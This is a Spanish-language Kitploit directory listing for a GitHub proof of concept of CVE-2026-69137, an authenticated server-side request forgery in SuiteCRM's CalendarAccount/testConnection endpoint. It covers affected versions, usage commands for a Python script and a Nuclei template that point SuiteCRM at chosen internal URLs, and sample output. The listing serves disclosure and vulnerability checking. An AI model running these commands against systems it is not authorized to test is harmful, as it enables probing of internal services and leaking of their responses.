Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-69137 — SuiteCRM <= 7.15.1, <= 8.10.1 - SSRF autenticado | Kitploit
Herramientas/GitHubGitHub/entrovyx/cve-2026-69137
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubentrovyx/cve-2026-69137

CVE-2026-69137

SuiteCRM <= 7.15.1, <= 8.10.1 - SSRF autenticado

Ver Repositorio
12hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-69137 - SSRF autenticado en SuiteCRM

Prueba de concepto de server-side request forgery autenticado para SuiteCRM a través del endpoint CalendarAccount/testConnection y el proveedor caldav_basic.

Resumen

Las versiones afectadas de SuiteCRM aceptan el server_url de un usuario autenticado y lo pasan a cURL sin validar el destino. Esto permite realizar solicitudes del lado del servidor hacia servicios HTTP de loopback o internos. En las versiones vulnerables, una respuesta de conexión fallida también puede revelar los datos de respuesta del servicio consultado en el mensaje de error.

La PoC se autentica con una cuenta válida de SuiteCRM y solicita una URL controlada. Su destino predeterminado, http://127.0.0.1:1/, es un puerto de loopback cerrado: demuestra que SuiteCRM intentó la conexión del lado del servidor sin solicitar un servicio externo.

Versiones afectadas

  • Vulnerables: SuiteCRM <= 7.15.1 y <= 8.10.1
  • Corregidas: SuiteCRM 7.15.2 y 8.10.2
  • Aviso: https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
  • CVE: CVE-2026-69137
  • CWE: CWE-918

Requisitos

  • Python 3
  • Credenciales válidas de SuiteCRM o una cookie de sesión autenticada
  • Autorización para probar la instancia de SuiteCRM y cualquier destino proporcionado con --server-url

No se requieren paquetes de Python de terceros.

Uso

Validación local básica contra SuiteCRM:

python3 CVE-2026-69137.py \
  -u http://127.0.0.1:8081 \
  -U admin \
  -P 'password'

Usar una sesión autenticada existente:

python3 CVE-2026-69137.py \
  -u https://suitecrm.example \
  --cookie 'PHPSESSID=value'

Probar un destino interno o controlado autorizado:

python3 CVE-2026-69137.py \
  -u https://suitecrm.example \
  -U user \
  -P 'password' \
  --server-url http://127.0.0.1:8080/

Opciones

-u, --url                 URL base de SuiteCRM
-U, --username            Nombre de usuario de SuiteCRM
-P, --password            Contraseña de SuiteCRM
--cookie                  Valor de la cabecera Cookie autenticada de SuiteCRM
--server-url              URL solicitada por SuiteCRM; predeterminado: http://127.0.0.1:1/
--timeout                 Tiempo de espera HTTP en segundos; predeterminado: 35
-k, --insecure            Deshabilitar la verificación del certificado TLS

Salida esperada

Las versiones vulnerables devuelven un fallo de la prueba de conexión tras procesar la URL proporcionada:

[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
    Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...

Las versiones parcheadas rechazan los destinos no permitidos antes de intentar la conexión:

[+] Target rejected the supplied URL; the SSRF fix appears to be present.

Plantilla de Nuclei

CVE-2026-69137.yaml se autentica con username y password, reutiliza la sesión de SuiteCRM y realiza la misma sonda de loopback cerrado:

nuclei -u https://suitecrm.example \
  -t CVE-2026-69137.yaml \
  -var username=user \
  -var password='password'

La plantilla se validó con:

nuclei -validate -t CVE-2026-69137.yaml

Notas

  • Use --server-url solo contra destinos para los que esté autorizado a probar.
  • La sonda de loopback predeterminada es intencionalmente no destructiva y no contacta ningún servicio externo.
  • El envío de la plantilla está disponible en https://github.com/projectdiscovery/nuclei-templates/pull/17335.
Descargar herramienta